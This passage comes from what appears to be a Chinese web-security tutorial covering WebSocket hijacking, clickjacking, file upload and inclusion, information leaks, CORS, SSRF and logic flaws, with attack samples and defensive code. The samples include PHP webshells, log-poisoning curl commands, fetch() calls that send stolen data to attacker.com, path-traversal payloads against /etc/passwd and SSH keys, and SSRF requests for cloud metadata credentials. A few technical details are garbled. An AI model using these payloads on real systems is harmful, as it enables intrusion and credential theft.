// 检查Cookie中的Token与请求头中的Token是否匹配
function validateCsrf(cookieToken, headerToken) {
return cookieToken === headerToken;
}

4.3 跨站WebSocket劫持

4.3.1 WebSocket基础

WebSocket提供双向通信能力,常用于实时应用。握手基于HTTP,使用Upgrade头:

1
2
3
4
5
6
GET /ws HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

4.3.2 攻击原理

攻击者可以建立到目标WebSocket服务器的连接(如果同源策略允许),或利用CORS配置不当:

1
2
3
4
5
6
7
8
// 恶意页面
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
ws.send('sensitive data');
};
ws.onmessage = function(e) {
fetch('http://attacker.com/steal?data=' + e.data);
};

4.3.3 防御措施

1. Origin验证

1
2
3
4
5
6
7
8
9
10
11
12
// 服务器端验证Origin
const WebSocket = require('ws');
const wss = new WebSocket.Server({
verifyClient: function(info, callback) {
const origin = info.origin;
if (allowedOrigins.includes(origin)) {
callback(true);
} else {
callback(false, 401, 'Unauthorized');
}
}
});

2. 身份认证

1
2
3
4
// 通过WebSocket发送认证Token
var ws = new WebSocket('wss://example.com/ws', {
headers: { 'Authorization': 'Bearer ' + token }
});

4.4 点击劫持(Clickjacking)

4.4.1 攻击原理

攻击者将目标网站嵌入到透明的iframe中,诱导用户点击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<body>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
}
button {
position: absolute;
top: 50%;
left: 50%;
z-index: 1;
}
</style>
<button>Click to win!</button>
<iframe src="https://target-site.com/action"></iframe>
</body>
</html>

4.4.2 防御措施

1. X-Frame-Options

1
2
3
X-Frame-Options: DENY                           <!-- 完全禁止 -->
X-Frame-Options: SAMEORIGIN <!-- 仅允许同源 -->
X-Frame-Options: ALLOW-FROM https://trusted.com <!-- 允许特定来源 -->

2. CSP frame-ancestors

1
2
3
Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors https://trusted.com;

3. Frame Busting脚本

1
2
3
if (top.location !== self.location) {
top.location = self.location;
}

4.5 跨站类漏洞汇总对比表

漏洞类型攻击向量危害防御措施
反射型XSSURL参数钓鱼、Cookie窃取输出转义
存储型XSS数据库持久化攻击、大规模影响输入验证、输出转义
DOM型XSS客户端脚本绕过服务端防护安全DOM操作
CSRF跨站请求账户操作被伪造Token、SameSite
WebSocket劫持WebSocket连接数据窃取、命令注入Origin验证、认证
点击劫持透明iframe诱导用户点击X-Frame-Options、CSP

第五章 文件类漏洞

文件类漏洞是Web安全中最常见的漏洞类型之一,主要包括任意文件上传、下载、读取、文件包含等。这类漏洞往往可以导致服务器被完全控制。

5.1 任意文件上传

5.1.1 攻击原理与危害

文件上传功能允许用户将本地文件发送到服务器。如果上传功能没有正确验证上传的文件,可能导致恶意文件(如WebShell)被上传并执行。

危害

  • 服务器完全沦陷
  • 后门植入
  • 数据窃取
  • 挖矿软件植入
  • DDoS客户端植入

5.1.2 常见绕过手法

双后缀绕过

文件名:shell.php.jpg

服务器检查扩展名时可能只检查最后一部分.jpg,但如果路径处理不当可能解析为PHP。

Content-Type伪造

1
Content-Type: image/png

实际文件是PHP脚本,服务器仅检查Content-Type可能被绕过。

文件头欺骗

在PHP文件开头添加图片文件头:

1
2
GIF89a;
<?php system($_GET['cmd']); ?>

.htaccess攻击

上传.htaccess文件改变解析规则:

1
AddType application/x-httpd-php .png

然后上传.png后缀的PHP代码。

大小写绕过

文件名:shell.PhP

00截断

文件名:shell.php%00.jpg

URL解码后变成shell.php

路径穿越

文件名:../uploads/shell.php

上传到上一层目录。

5.1.3 WebShell上传实战分析

简单WebShell

1
<?php system($_GET['cmd']); ?>

变形WebShell

1
2
3
4
<?php
$a = $_GET['x'];
$a($_POST['y']);
?>

使用方法:?x=system&y=whoami

图片马

使用copy命令合并:

1
copy normal.jpg/b + shell.php/a shell.jpg

5.1.4 防御措施

1. 白名单验证

1
2
3
4
5
6
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
die('File type not allowed');
}

2. MIME类型验证

1
2
3
4
5
6
7
8
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp_name);
finfo_close($finfo);

$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime_type, $allowed_mimes)) {
die('Invalid file type');
}

3. 文件内容检查

1
2
3
4
5
6
7
8
9
10
11
// 检查文件头部魔术字节
$handle = fopen($file_tmp_name, 'rb');
$header = fread($handle, 4);
fclose($handle);

$allowed_signatures = [
"\xFF\xD8\xFF" => 'jpg',
"\x89PNG\r\n\x1A\n" => 'png',
'GIF87a' => 'gif',
'GIF89a' => 'gif'
];

4. 文件重命名

1
2
$new_filename = bin2hex(random_bytes(16)) . '.' . $file_extension;
move_uploaded_file($file_tmp_name, $upload_dir . $new_filename);

5. 上传目录不可执行

1
2
3
4
5
6
7
8
# Apache
<Directory "/var/www/uploads">
php_admin_flag engine off
<FilesMatch "\.php$">
Order Deny,Allow
Deny from all
</FilesMatch>
</Directory>

6. 存储分离

1
2
// 将上传文件存储在独立域名或静态文件服务
$upload_url = 'https://static.example.com/uploads/' . $new_filename;

5.2 任意文件下载

5.2.1 攻击原理

如果应用程序允许用户指定要下载的文件路径,且未正确验证路径,可能导致任意文件下载:

1
2
3
4
5
// 不安全代码
$file = $_GET['file'];
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file . '"');
readfile('/var/www/files/' . $file);

攻击者请求:?file=../../etc/passwd

5.2.2 目录穿越技术详解

穿越技巧

Payload说明
../../../etc/passwd穿越三层目录
....//....//....//etc/passwd双重编码绕过
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdURL编码
..%252f..%252f..%252fetc/passwd双重URL编码
..%c0%af..%c0%af..%c0%afetc/passwdUnicode编码
....\/....\/....\/etc/passwd混合绕过

5.2.3 防御措施

1. ID映射

1
2
3
4
// 使用文件ID而非直接路径
$file_id = $_GET['id'];
$filename = $db->query("SELECT filename FROM files WHERE id = ?", [$file_id]);
readfile('/var/www/files/' . $filename);

2. 路径验证

1
2
3
4
5
6
7
8
9
$requested_file = $_GET['file'];
$base_dir = '/var/www/files/';
$real_path = realpath($base_dir . $requested_file);

if (strpos($real_path, $base_dir) !== 0) {
die('Invalid file path');
}

readfile($real_path);

3. 白名单扩展名

1
2
3
4
5
6
$allowed_extensions = ['pdf', 'docx', 'xlsx'];
$ext = pathinfo($file, PATHINFO_EXTENSION);

if (!in_array($ext, $allowed_extensions)) {
die('File type not allowed');
}

5.3 任意文件读取

5.3.1 攻击原理

与文件下载类似,但可能不需要下载到本地,直接在服务器上读取内容:

1
2
3
// 不安全代码
$file = $_GET['file'];
echo file_get_contents($file);

常见目标文件

文件内容
/etc/passwd用户列表
/etc/shadow密码哈希
/var/www/html/config.php数据库凭据
/home/user/.ssh/id_rsaSSH私钥
.env环境变量
web.config配置信息

5.3.2 与文件下载的区别

特征文件下载文件读取
响应头Content-Disposition: attachmentContent-Type
浏览器行为弹出下载对话框直接显示内容
用途获取文件副本查看文件内容
危害类似类似

5.3.3 防御措施

与文件下载防御措施相同。

5.4 本地文件包含(LFI)

5.4.1 攻击原理

LFI(Local File Inclusion)发生在应用程序使用用户输入作为文件路径的一部分时:

1
2
3
// 不安全代码
$page = $_GET['page'];
include($page . '.php');

请求:?page=header

实际执行:include('header.php');

5.4.2 常见利用手法

日志注入

  1. 向日志写入PHP代码:

    1
    curl 'http://target.com' -A "<?php system(\$_GET['cmd']); ?>"
  2. 包含日志文件:

    1
    ?page=/var/log/apache2/access.log&cmd=whoami

/proc/self/environ

1
?page=/proc/self/environ

访问包含环境变量,可能获取敏感信息。

php://filter

1
?page=php://filter/convert.base64-encode/resource=config

读取任意文件内容(Base64编码)。

PHP伪协议

1
2
3
4
5
6
// 读取input
?page=php://input
POST: <?php system($_GET['cmd']); ?>

// 读取数据流
?page=php://filter/read=convert.base64-encode/resource=index

5.4.3 LFI提权到RCE

方法1:日志投毒

1
2
3
4
5
# 注入WebShell到日志
curl -A "<?php system(\$_GET['c']); ?>" http://target.com

# 触发执行
curl http://target.com/?page=/var/log/apache2/access.log&c=whoami

方法2:Session文件包含

1
2
3
4
5
6
# PHP默认session存储位置
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID

# 如果能找到用户可控的session内容,可以包含
?page=/var/lib/php/sessions/sess_abc123

方法3:上传文件包含

1
2
3
# 上传图片马
# 然后包含
?page=uploads/avatar.jpg

5.4.4 防御措施

1. 白名单验证

1
2
3
4
5
6
7
8
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'];

if (!in_array($page, $allowed_pages)) {
die('Invalid page');
}

include($page . '.php');

2. 禁止路径穿越

1
2
3
if (strpos($page, '..') !== false) {
die('Path traversal detected');
}

3. 使用basename

1
2
$page = basename($_GET['page']);
include('/pages/' . $page . '.php');

4. 关闭危险配置

1
2
3
// php.ini
allow_url_include = Off
allow_url_fopen = Off

5.5 远程文件包含(RFI)

5.5.1 攻击原理

RFI(Remote File Inclusion)允许攻击者包含远程服务器上的文件:

1
2
3
// 不安全代码
$module = $_GET['module'];
include($module);

请求:?module=http://attacker.com/shell.txt

攻击者服务器上的shell.txt

1
2
3
<?php
system($_GET['cmd']);
?>

5.5.2 PHP的allow_url_include配置

1
2
3
// php.ini
allow_url_include = On // 允许远程文件包含(危险)
allow_url_include = Off // 禁止(安全,默认)

5.5.3 防御措施

1. 禁用远程包含

1
2
// php.ini
allow_url_include = Off

2. 白名单验证

1
2
3
4
5
6
7
8
$allowed_modules = ['news', 'products', 'contact'];
$module = $_GET['module'];

if (!in_array($module, $allowed_modules)) {
die('Invalid module');
}

include('/modules/' . $module . '.php');

5.6 ZIP解压炸弹与Zip Slip

5.6.1 Zip Bomb原理

ZIP炸弹是一个精心构造的压缩文件,解压后会产生巨大的数据:

1
2
原始大小: 42KB
解压后大小: 4.5PB (4,500,000 GB)

典型ZIP炸弹使用递归压缩技术:

1
2
3
zip.zip -> 引爆 -> zip.zip + text

└── zip.zip -> 引爆 -> zip.zip + text

5.6.2 Zip Slip路径穿越原理

Zip Slip是一种目录遍历漏洞,发生在解压文件时:

恶意压缩包内容:

1
2
filename: ../../../etc/passwd
content: root:x:0:0:...

如果解压代码未验证路径,会将文件解压到系统任意位置。

5.6.3 防御措施

1. 限制压缩大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class SafeZipInputStream extends ZipInputStream {
private static final long MAX_SIZE = 100 * 1024 * 1024; // 100MB
private long totalSize = 0;

@Override
public ZipEntry getNextEntry() throws IOException {
ZipEntry entry = super.getNextEntry();
if (entry != null) {
totalSize += entry.getSize();
if (totalSize > MAX_SIZE) {
throw new IOException("Zip bomb detected");
}
}
return entry;
}
}

2. 路径验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void extract(ZipFile zip, File destDir) throws IOException {
String canonicalDestDir = destDir.getCanonicalPath();

for (Enumeration<ZipEntry> entries = zip.entries(); entries.hasMoreElements();) {
ZipEntry entry = entries.nextElement();
File file = new File(destDir, entry.getName());

String canonicalFile = file.getCanonicalPath();
if (!canonicalFile.startsWith(canonicalDestDir + File.separator)) {
throw new IOException("Entry outside target dir: " + entry.getName());
}

// 解压文件
extractEntry(entry, file);
}
}

5.7 文件名绕过

5.7.1 常见绕过手法

空字节注入

1
shell.php%00.jpg  ->  shell.php (在某些情况下)

Unicode规范化

1
shell.php。jpg    ->  shell.php (某些Unicode字符)

大小写混合

1
2
shell.PHP
shell.PhP

双后缀

1
shell.php.jpg

无扩展名

如果服务器配置不当,无扩展名的文件可能被当作PHP执行。

5.7.2 防御措施

1. 综合验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 1. 验证MIME类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file);
finfo_close($finfo);

// 2. 验证扩展名
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

// 3. 验证魔术字节
$handle = fopen($file, 'rb');
$header = fread($handle, 8);
fclose($handle);

// 4. 文件重命名
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;

5.8 文件类漏洞汇总对比表

漏洞类型攻击方式危害关键防御
任意文件上传上传WebShell服务器沦陷白名单、MIME验证、目录不可执行
任意文件下载路径穿越下载敏感文件泄露ID映射、路径验证
任意文件读取路径穿越读取敏感文件泄露路径验证、权限控制
LFI包含本地文件RCE、信息泄露白名单、禁用危险函数
RFI包含远程文件RCE禁用远程包含
Zip炸弹解压巨大文件DoS限制解压大小
Zip Slip路径穿越解压文件覆盖路径验证

第六章 信息泄露类漏洞

信息泄露虽然通常不会被直接利用来获取服务器权限,但往往为更深入的攻击提供重要线索。本章介绍常见的信息泄露漏洞及其防御措施。

6.1 错误信息泄露

6.1.1 常见泄露场景

数据库错误信息

1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/index.php on line 42

暴露:文件路径、数据库类型、代码结构。

Stack Trace

1
2
3
4
Exception: SQL syntax error
at com.example.DB.query(DB.java:42)
at com.example.Controller.handle(Controller.java:15)
at com.sun.proxy.$Proxy12.invoke(Unknown Source)

暴露:完整的调用栈、第三方库版本。

Web服务器版本

1
Apache/2.4.41 (Unix) OpenSSL/1.1.1d PHP/7.4.3

6.1.2 防御措施

生产环境禁用详细错误

1
2
3
4
5
6
7
8
9
// PHP
ini_set('display_errors', 0);
error_log('Error: ' . $e->getMessage());

// 自定义错误页面
set_error_handler(function($errno, $errstr, $errfile, $errline) {
error_log("Error: $errstr in $errfile on line $errline");
return false; // 调用标准错误处理
});
1
2
3
4
// Java - Spring Boot
server.error.include-message=never
server.error.include-stacktrace=never
server.error.include-binding-errors=never

统一的错误页面

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>Error</title>
</head>
<body>
<h1>An error occurred</h1>
<p>If this problem persists, please contact support.</p>
<p>Error reference: <span id="error-id"></span></p>
</body>
</html>

6.2 源码泄露(Git/SVN)

6.2.1 Git泄露原理与利用

Git目录.git包含完整的版本控制信息:

1
2
3
4
5
6
7
.git/
├── config
├── HEAD
├── objects/
│ ├── pack/
│ └── ??/
└── refs/

利用方法

1
2
3
4
5
6
7
8
# 使用git-dumper
git-dumper http://target.com/.git/ /tmp/dump

# 手动恢复
cd /tmp/dump
git status
git log
git show HEAD:config.php > config.php

6.2.2 SVN泄露原理与利用

SVN的工作目录.svn.svn/entries包含代码信息:

1
2
3
4
5
# 使用svn-extractor
svn-extractor http://target.com/.svn/

# 手动
svn checkout http://target.com/.svn/ /tmp/dump

6.2.3 防御措施

1. 禁止访问.git等目录

1
2
3
4
5
6
7
8
9
10
# Apache .htaccess
<FilesMatch "\.(git|svn|hg|bzr)">
Order allow,deny
Deny from all
</FilesMatch>

# 或Nginx配置
location ~ /\.git {
deny all;
}

2. 删除敏感目录后再部署

1
2
3
4
5
6
# 使用.gitignore排除敏感文件
echo ".env" >> .gitignore
rm -rf .git

# 或使用git-archive
git archive --format=zip --output=/tmp/deploy.zip HEAD

6.3 后台路径泄露

6.3.1 常见发现方式

1. 搜索引擎发现

1
2
3
site:target.com inurl:admin
site:target.com inurl:manage
site:target.com inurl:backend

2. JS文件分析

1
2
// 在JS中发现的路径
const ADMIN_URL = '/administrator/panel';

3. 暴力扫描

使用常见路径字典进行扫描。

6.3.2 防御措施

1. 安全的路径命名

1
2
3
4
// 不要使用明显的后台路径
// 避免:/admin, /manage, /backend
// 建议:/a7f3b9c2d8e1 或随机生成的路径
$admin_path = '/a7f3b9c2d8e1_' . substr(md5($secret), 0, 8);

2. 认证和IP限制

1
2
3
4
5
6
7
8
// IP白名单
$allowed_ips = ['10.0.0.0/8', '192.168.0.0/16'];
$client_ip = $_SERVER['REMOTE_ADDR'];

if (!ip_in_range($client_ip, $allowed_ips)) {
http_response_code(404);
exit;
}

6.4 备份文件泄露

6.4.1 常见备份文件类型

类型常见扩展名说明
编辑器备份.bak, .old, .backup, ~编辑器自动创建
临时文件.swp, .swoVim等编辑器
版本控制.git, .svn, .hg版本控制系统
压缩备份.zip, .tar.gz, .rar手动或自动备份
数据库备份.sql, .dump数据库导出
配置文件.conf, .config, .ini配置文件

6.4.2 自动化发现工具

1
2
3
4
5
6
7
8
# 使用dirsearch
dirsearch -u http://target.com -e bak,old,backup,swp,sql,zip

# 使用ffuf
ffuf -w wordlist.txt -u http://target.com/FUZZ

# 使用gobuster
gobuster dir -u http://target.com -w wordlist.txt -x bak,old,backup

6.4.3 防御措施

1. 禁止访问备份文件

1
2
3
4
5
# Apache
<FilesMatch "\.(bak|old|backup|swp|swo|sql|zip)$">
Order allow,deny
Deny from all
</FilesMatch>

2. 部署前删除备份

1
2
# 使用构建脚本删除
rm -f $(find . -name "*.bak" -o -name "*.old" -o -name "*.swp")

3. 安全的备份存储

1
2
3
4
# 备份存储在Web根目录之外
backup_dir="/backups/$(date +%Y%m%d)"
mkdir -p $backup_dir
tar -czf $backup_dir/backup.tar.gz /var/www/html

第七章 服务器配置类漏洞

服务器配置错误是Web安全中最常见的问题之一,正确的服务器配置对于Web应用安全至关重要。

7.1 目录遍历

7.1.1 原理与利用

目录遍历(Directory Traversal)允许攻击者访问服务器上不应访问的目录和文件:

1
GET /images?file=../../../../etc/passwd

7.1.2 防御措施

1. 使用realpath()验证

1
2
3
4
5
6
7
8
9
$base_dir = '/var/www/files/';
$requested = $base_dir . $_GET['file'];
$real_path = realpath($requested);

if ($real_path === false || strpos($real_path, $base_dir) !== 0) {
die('Invalid path');
}

readfile($real_path);

2. 白名单验证

1
2
3
4
5
6
$allowed_files = ['image1.jpg', 'image2.png', 'image3.gif'];
$requested = $_GET['file'];

if (!in_array($requested, $allowed_files)) {
die('Invalid file');
}

7.2 不安全的CORS配置

7.2.1 CORS机制详解

CORS(跨域资源共享)允许网页从不同域名访问资源:

1
2
3
4
5
6
# 请求头
Origin: https://malicious-site.com

# 响应头(危险配置)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

7.2.2 常见错误配置

配置1:允许所有来源且允许凭证

1
2
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

这实际上是错误的配置,浏览器会拒绝。如果Allow-Origin是*,则不能使用凭证。

配置2:反射Origin(动态配置)

1
2
// 不安全
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);

攻击者可以通过伪造Origin头来绕过限制。

7.2.3 利用方式

1
2
3
4
5
6
7
8
9
// 恶意页面
fetch('https://target-site.com/api/user-data', {
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});

7.2.4 防御措施

1. 静态白名单

1
2
3
4
5
6
7
8
9
10
$allowed_origins = [
'https://example.com',
'https://app.example.com'
];

$origin = $_SERVER['HTTP_ORIGIN'];
if (in_array($origin, $allowed_origins)) {
header("Access-Control-Allow-Origin: $origin");
header('Access-Control-Allow-Credentials: true');
}

2. 验证Origin头

1
2
3
4
5
6
7
8
9
$origin = $_SERVER['HTTP_ORIGIN'];
if (!filter_var($origin, FILTER_VALIDATE_URL)) {
die('Invalid origin');
}

$parsed = parse_url($origin);
if ($parsed['host'] !== 'example.com') {
die('Origin not allowed');
}

7.3 弱口令与默认口令

7.3.1 常见默认口令

服务/应用默认用户名默认密码
phpMyAdminroot(空)
Weblogicsystemweblogic
Tomcatadminadmin
Jenkinsadminpassword
MySQLrootroot
MongoDB(无认证)-

7.3.2 暴力破解防护

1. 账户锁定

1
2
3
4
5
6
7
$max_attempts = 5;
$lockout_time = 900; // 15分钟

$attempts = getLoginAttempts($username);
if ($attempts >= $max_attempts) {
die('Account locked. Try again later.');
}

2. 验证码

1
2
3
4
// 添加CAPTCHA验证
if (!verifyCaptcha($_POST['captcha'])) {
die('Invalid CAPTCHA');
}

3. 速率限制

1
2
3
4
5
6
7
8
$ip = $_SERVER['REMOTE_ADDR'];
$rate_key = 'login_attempts:' . $ip;
$attempts = $redis->incr($rate_key);

if ($attempts > 10) {
// 限制请求
}
$redis->expire($rate_key, 3600);

7.4 Debug模式开启

7.4.1 各框架的Debug模式风险

Django Debug模式

1
2
# settings.py
DEBUG = True # 危险!会显示完整错误信息

Flask Debug模式

1
app.run(debug=True)  # 危险!启用交互式调试器

攻击者可以利用 Werkzeug 调试器执行任意代码:

1
{% for c in [1,2,3] %}{{ c }}{% endfor %}

Spring Boot Debug

1
2
server.error.include-message=always
server.error.include-stacktrace=always

7.4.2 防御措施

1. 生产环境禁用Debug

1
2
3
4
5
6
7
8
9
# Django settings.py
DEBUG = False
ALLOWED_HOSTS = ['example.com']

# Flask
app.run(debug=False, host='0.0.0.0', port=80)

# Spring Boot
spring.profiles.active=production

2. 环境变量控制

1
2
import os
DEBUG = os.environ.get('DEBUG', 'False') == 'True'

3. 安全错误处理

1
2
3
# Django
handler500 = 'mysite.views.custom_error_view'
handler404 = 'mysite.views.custom_404_view'

第八章 SSRF漏洞

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。

8.1 SSRF原理

8.1.1 攻击原理与流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
攻击者 →→→→→→→→→→→→→→→→┐

┌──────────────┐
│ 易受攻击的 │
│ Web服务器 │
└──────┬───────┘

攻击者利用服务器发起请求

┌────────────────────────┐
↓ ↓
┌───────────┐ ┌──────────┐
│ 云元数据 │ │ 内网 │
│ 服务 │ │ 服务 │
└───────────┘ └──────────┘

8.1.2 常见触发点

1. URL参数

1
2
$url = $_GET['url'];
$content = file_get_contents($url);

2. 图片URL

1
2
3
$image_url = $_GET['image'];
$image = file_get_contents($image_url);
imagecreatefromstring($image);

3. 文件预览

1
2
$file = $_GET['file'];
readfile($file);

8.2 SSRF利用方式

8.2.1 内网探测

1
2
3
4
5
6
# 探测内网服务
for port in [21, 22, 80, 443, 3306, 5432, 6379]:
url = f"http://192.168.1.1:{port}"
response = requests.get(url, timeout=1)
if response.status_code != 0:
print(f"Port {port} is open")

8.2.2 云元数据服务访问

AWS元数据服务

1
2
3
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

获取凭据

1
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName

返回AWS访问密钥。

GCP元数据服务

1
2
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

8.2.3 协议利用

file://协议

1
2
file:///etc/passwd
file:///var/www/html/config.php

gopher://协议

1
gopher://127.0.0.1:6379/_*1%0d%0a$3%0d%0afake%0d%0a

可以攻击Redis、MongoDB等服务。

dict://协议

1
dict://127.0.0.1:6379/INFO

http://协议

1
http://internal-server/admin

8.2.4 绕过技巧

IP地址编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 十进制
http://2130706433/ # 127.0.0.1

# 十六进制
http://0x7f000001/ # 127.0.0.1

# 混合
http://127.0.1/ # 127.0.0.1

# 短横线
http://127.1/ # 127.0.0.1

# 双重编码
http://127.0.0.1%252f%252f@attacker.com

DNS重绑定

攻击者控制域名先解析到公网IP,然后快速切换到内网IP:

1
2
3
# DNS服务配置
*.ssrf.attacker.com -> 1.2.3.4 (公网)
*.ssrf.attacker.com -> 127.0.0.1 (内网)

URL解析绕过

1
2
3
4
5
6
7
8
# @符号绕过
http://example.com@127.0.0.1/

# 畸形URL
http://127.0.0.1\@example.com/

# 井号绕过
http://example.com#127.0.0.1/

8.3 SSRF防御措施

1. URL验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function validateUrl($url) {
$parsed = parse_url($url);

// 检查协议
if (!in_array($parsed['scheme'], ['http', 'https'])) {
return false;
}

// 解析主机名
$host = $parsed['host'];
$ip = gethostbyname($host);

// 检查是否为内网IP
if (ip2long($ip) === false) {
return false;
}

// 私有IP范围检测
$private_ranges = [
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'127.0.0.0/8',
'169.254.0.0/16'
];

foreach ($private_ranges as $range) {
if (ipInRange($ip, $range)) {
return false;
}
}

return true;
}

2. 使用白名单

1
2
3
4
5
6
$allowed_domains = ['api.example.com', 'cdn.example.com'];
$parsed = parse_url($url);

if (!in_array($parsed['host'], $allowed_domains)) {
die('URL not allowed');
}

3. 禁用危险协议

1
2
// 使用cURL时限制协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

4. 限制请求

1
2
3
4
5
6
7
8
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 5);

// 限制重定向
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

// 验证SSL证书
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

第九章 逻辑漏洞与业务漏洞

逻辑漏洞是由于业务逻辑设计缺陷导致的安全问题,往往难以通过传统扫描器发现,但影响巨大。

9.1 越权访问

9.1.1 水平越权与垂直越权

水平越权:同级别用户之间的未授权访问:

1
2
用户A访问用户B的订单
GET /orders/45678 (用户A的订单是12345)

垂直越权:低权限用户访问高权限资源:

1
2
普通用户访问管理员页面
GET /admin/users

9.1.2 检测方法

1. 修改参数测试

1
2
GET /api/user/123  -> 返回用户123的信息
GET /api/user/124 -> 如果返回124的信息,说明存在水平越权

2. 角色权限测试

1
普通用户 -> 访问管理员API -> 应该返回403

9.1.3 防御措施

1. 权限验证中间件

1
2
3
4
5
6
7
@require_auth
@require_permission('read', 'order')
def get_order(order_id):
# 检查当前用户是否有权访问该订单
if not order_service.can_access(current_user.id, order_id):
raise ForbiddenError()
return order_service.get(order_id)

2. 对象级权限检查

1
2
3
def can_access(user_id, resource_id):
resource = db.get(resource_id)
return resource.owner_id == user_id

9.2 接口参数篡改

9.2.1 常见篡改场景

价格篡改

1
2
3
4
<form action="/checkout" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="product_id" value="123">
</form>

攻击者修改price为1。

数量篡改

1
2
3
4
5
POST /api/cart/add
{
"product_id": 123,
"quantity": -5 // 负数可能增加余额
}

用户ID篡改

1
2
3
4
5
POST /api/profile/update
{
"user_id": 456, // 攻击者修改为其他用户ID
"email": "attacker@example.com"
}

9.2.2 防御措施

1. 服务端验证所有参数

1
2
3
4
5
6
# 价格必须从服务端获取
def checkout(product_id, quantity):
product = db.get_product(product_id)
price = product.price # 从数据库获取,不是从请求
total = price * quantity
return create_order(current_user, product, quantity, total)

2. 参数签名验证

1
2
3
4
5
6
7
# 客户端提交参数
params = {'user_id': 123, 'amount': 100}
signature = hmac.sign(params, secret_key)

# 服务端验证
if not hmac.verify(params, signature):
raise SecurityError()

9.3 重放攻击与竞态条件

9.3.1 原理与利用

重放攻击:攻击者记录并重放合法请求:

1
2
3
4
1. 用户发起转账请求: POST /api/transfer?to=B&amount=1000
2. 攻击者截获请求
3. 攻击者重放请求: POST /api/transfer?to=B&amount=1000
4. 服务器再次执行转账

竞态条件:利用时间差绕过检查:

1
2
3
4
5
1. 检查余额: 账户余额 = $100
2. 用户发起两次购买,各$100
3. 两个请求同时检查余额,都看到$100
4. 两个请求都通过检查
5. 两个购买都成功,账户余额变成-$100

9.3.2 防御措施

1. 使用Nonce(一次性随机数)

1
2
3
4
5
6
7
8
def transfer(to, amount, nonce):
if redis.exists(f'nonce:{nonce}'):
raise DuplicateRequestError()

redis.setex(f'nonce:{nonce}', 3600, 'used')

# 执行转账
account.transfer(to, amount)

2. 幂等性设计

1
2
3
4
5
6
7
8
9
def create_order(order_id, idempotency_key):
# 使用幂等键确保多次请求只创建一次订单
existing = db.get_by_id('orders', order_id)
if existing:
return existing

order = Order(id=order_id)
db.save(order)
return order

3. 数据库事务

1
2
3
4
5
6
7
8
9
START TRANSACTION;

-- 检查余额
SELECT balance FROM accounts WHERE user_id = 123 FOR UPDATE;

-- 更新余额
UPDATE accounts SET balance = balance - 100 WHERE user_id = 123;

COMMIT;

9.4 身份伪造

攻击者通过猜测、窃取或伪造认证凭据来冒充他人身份。

Token预测

1
2
3
4
5
# 不安全:使用可预测的Token
session_id = str(user_id) + timestamp # 很容易预测

# 安全:使用随机Token
session_id = secrets.token_urlsafe(32)

Cookie伪造

1
2
3
4
5
# 不安全:存储用户ID
Cookie: user_id=123

# 安全:使用签名Cookie
Cookie: user=eyJ1c2VyX2lkIjoxMjN9; sig=rsa_sign(data, private_key)

9.4.2 JWT安全

JWT结构

1
Header.Payload.Signature

常见JWT漏洞

  1. None算法
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

改为:

1
2
3
4
{
"alg": "none",
"typ": "JWT"
}
  1. 密钥混淆(Key Confusion)

将HS256的公钥用于RS256验证。

JWT防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 验证算法
if token.header['alg'] != 'RS256':
raise SecurityError()

# 2. 验证签名
public_key = get_public_key(token.header['kid'])
token.verify(public_key, algorithm='RS256')

# 3. 验证声明
if token.claims['exp'] < time.time():
raise TokenExpiredError()

if token.claims['iss'] != 'expected-issuer':
raise SecurityError()

9.4.3 防御措施

1. 使用安全框架管理会话

1
2
3
4
5
6
7
8
9
10
11
12
# 使用PyJWT
import jwt

# 生成Token
token = jwt.encode(
